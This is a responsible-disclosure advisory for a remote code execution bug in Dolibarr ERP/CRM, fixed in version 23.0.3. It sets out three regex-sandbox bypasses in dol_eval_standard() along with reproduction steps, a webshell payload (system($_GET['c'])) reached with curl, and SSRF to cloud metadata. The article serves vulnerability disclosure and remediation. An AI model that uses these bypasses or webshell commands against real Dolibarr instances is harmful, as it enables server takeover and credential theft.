CVE-2026-XXXXXX — Remote Code Execution in Dolibarr ERP/CRM (dol_eval_standard sandbox bypass)
An incomplete sandbox in the dol_eval_standard() function lets an authenticated Dolibarr administrator achieve remote code execution through a malicious computed extrafield — a full eval-to-RCE chain built from three independent filter bypasses. CVSS 3.1: 9.1 (CRITICAL).
CVE-2026-XXXXXX — RCE via a sandbox bypass in dol_eval_standard() (Dolibarr ERP/CRM)
Responsible Disclosure: Reported to the Dolibarr security team via a GitHub Security Advisory (GHSA-5cfw-655w-vqp8), accepted by the vendor and fixed in version 23.0.3 (commit ee8ded7) before this article was published. Researcher: Grzegorz Tworek (Sec4check). If you run Dolibarr, update your instance to 23.0.3 or later.
Summary
During independent security research I identified a Remote Code Execution vulnerability in Dolibarr ERP/CRM. The problem lies in an incomplete sandbox in the dol_eval_standard() function (core/lib/functions.lib.php), which evaluates the expressions of so-called computed extrafields — calculated fields defined by an administrator. An authenticated administrator can craft a malicious expression that bypasses the security filter and leads to arbitrary PHP code execution on the server.
Although setting up the field requires administrator privileges, the code executes in the context of every user who opens the affected record. A malicious or compromised administrator therefore obtains persistent RCE across the entire server, with potential for lateral movement via credential theft. Hence the Scope: Changed classification and a rating of CVSS 3.1: 9.1 (CRITICAL).
| CVE ID | CVE-2026-XXXXXX — assignment in progress (MITRE CNA-LR) |
|---|---|
| GHSA | GHSA-5cfw-655w-vqp8 |
| Type | CWE-94: Improper Control of Generation of Code (Code Injection) |
| Product | Dolibarr ERP/CRM |
| Affected versions | ≤ 23.0.0 (confirmed on 23.0.0; likely all versions using the default whitelist path) |
| Component | dol_eval_standard() in core/lib/functions.lib.php |
| Attack vector | Network (authenticated) |
| Privileges required | High — administrator account |
| User interaction | None for the write itself; execution occurs when any user opens the record |
| CVSS 3.1 | 9.1 CRITICAL |
| CVSS vector | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Status | Fixed by the vendor in Dolibarr 23.0.3 (commit ee8ded7) |
Technical analysis
Dolibarr lets you define computed extrafields — fields whose value is calculated from a PHP expression evaluated by dol_eval() → dol_eval_standard(). To limit the risk, the function implements a regex-based sandbox (the "whitelist" path). The vulnerability is three independent bypasses of that sandbox which, combined, yield a full eval-to-RCE chain.
Bypass 1 — unrestricted class instantiation (line 12283)
The whitelist path allows new ClassName() for any class, blocking only ReflectionFunction:
This allows instantiating dangerous built-in classes: PDO, SimpleXMLElement, SQLite3, SplFileObject.
Bypass 2 — callable array syntax evades the function whitelist (line 12271)
The whitelist regex /([\s\w\'\]\"]+)\(/ detects function/method calls by matching the text before (. However, PHP's callable array syntax ([$object, "method"])() places a ) right before ( — and ) is not in the character class [\s\w\'\]\"]. The call is invisible to the whitelist check.
Additionally, the $forbiddenphpstrings array containing )( (line 12195) is only enforced on the blacklist path (inside if (empty($dolibarr_main_restrict_eval_methods))), not on the default whitelist path. This allows calling arbitrary methods on instantiated objects: ([$pdo, "exec"])("SQL").
Bypass 3 — SQLite char() avoids the "<" character restriction (line 12120)
The sandbox blocks < followed by a non-whitespace character to prevent HTML/PHP tags. SQLite's char() function constructs the <?php string from integer character codes at the database level, so the literal < never appears in the evaluated expression.
Full chain
The three bypasses combine into a single expression that creates a SQLite database file with a .php extension in the webroot, whose bytes contain the literal <?php system('id');?> (produced by SQLite's char()/hex). When the file is accessed over HTTP, PHP's parser finds the <?php tag and executes the embedded code:
The blob X'3C3F...3E' encodes <?php system('id');?> and avoids parentheses inside the SQL string (which the whitelist regex would catch).
Reproduction steps
- Dolibarr 23.0.0, default configuration, administrator account; the
htdocs/custom/directory must be writable by the web server (default). - Enable a module with extrafields support (e.g. Third Parties): Home → Setup → Modules/Applications.
- Create a computed extrafield with a harmless value (
/societe/admin/societe_extrafields.php→ New attribute): codercetest, type Varchar, Computed value =1 + 1. Save. - Edit the attribute and change Computed value to the RCE chain payload (which creates
/var/www/html/custom/0.php). The payload passes thenohtmlGETPOST filter and is stored in the database. - Open any Third Party record — the computed extrafield is evaluated via
dol_eval()→eval(), creating the webshell file. - Run:
curl http://TARGET/custom/0.php.
Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data) — system('id') executes as the web server user, confirming RCE. The filename must have a digit immediately before the dot (e.g. 0.php) to bypass the "dot-between-non-numbers" check.
Variant — arbitrary command execution
Swapping the blob for <?php system($_GET['c']);?> yields a full webshell: curl "http://TARGET/custom/0.php?c=whoami".
Impact assessment
Remote Code Execution
Arbitrary PHP execution as the web server user (www-data/apache) — full control over the application and server.
SSRF
The class-instantiation bypass alone (new SimpleXMLElement("http://...", 0, true)) forces outbound requests to internal networks and cloud metadata (169.254.169.254).
Arbitrary File Read (XXE)
Combined with an attacker-controlled XML server — reading arbitrary files, including conf/conf.php with database credentials. No webshell write needed.
Persistence and escalation
The computed field runs on every record view by any user — persistent RCE. A compromised admin account equals full server compromise.
CVSS 3.1 — detailed scoring
| Metric | Value |
|---|---|
| Attack Vector | Network — exploited through the web application |
| Attack Complexity | Low — no special conditions |
| Privileges Required | High — administrator account required |
| User Interaction | None — execution on ordinary record viewing |
| Scope | Changed — code runs in the context of other users and the whole server |
| Confidentiality / Integrity / Availability | High / High / High — full compromise |
CVSS 3.1 Score: 9.1 (CRITICAL)
Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Recommended remediation
Applied / recommended fixes:
- Block all dangerous built-in classes on the whitelist path, not just
ReflectionFunction— maintain an explicit allowlist of safe classes (Dolibarr business objects). - Check
)(on the whitelist path too — move the$forbiddenphpstringscheck before the if/else split so it applies universally. - Block
char(and other SQL/encoding functions that can construct dangerous strings at runtime. - Consider AST-based analysis (e.g.
token_get_all()fromdol_eval_new) instead of regex filtering.
The vendor addressed the issue in Dolibarr 23.0.3 (commit ee8ded7 for bypasses 1 and 3; bypass 2 had already been blocked by an earlier change).
Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-26 | Vulnerability discovered and PoC confirmed |
| 2026-03-28 | Reported via GitHub Security Advisory (GHSA-5cfw-655w-vqp8) |
| 2026-03-29 | Vendor accepted the report |
| 2026-05-28 | Fix released (Dolibarr 23.0.3, commit ee8ded7); advisory closed |
| 2026-10-05 | Article published and CVE registered as a third party (MITRE CNA-LR) |
Conclusions
This case shows why a regex-based sandbox is brittle. The filter blocked individual, "obvious" patterns (one class, one character, one string) but missed entire families of equivalent constructs: other dangerous classes, alternative call syntax, and database-side string construction. Worse, some checks only applied on one of two paths (blacklist vs whitelist) — an inconsistency that is itself a bypass.
- Deny-lists don't scale for eval. If you evaluate expressions, only an explicit allowlist of operations is safe — not a blacklist of "bad" patterns.
- Path consistency. A check enforced on one branch and skipped on another is a classic source of bypasses.
- Syntax has many forms. A regex matching "a function call" didn't account for callable arrays — an attacker will always find an equivalent construct outside the pattern.
- Layer boundaries. A PHP-level restriction (
<) doesn't help when the string is built at the SQLite level — filter where the data actually materializes.
Key takeaway: any function that ultimately calls eval() is a trust boundary — no matter how "restricted" the sandbox looks. Regex filtering provides a false sense of security; the real barrier is an allowlist, or not using eval at all.
Looking for vulnerabilities in your application?
As an independent security researcher and penetration tester, I help organizations identify and eliminate vulnerabilities before attackers do. I offer professional web application penetration testing aligned with OWASP ASVS.
Book a free consultation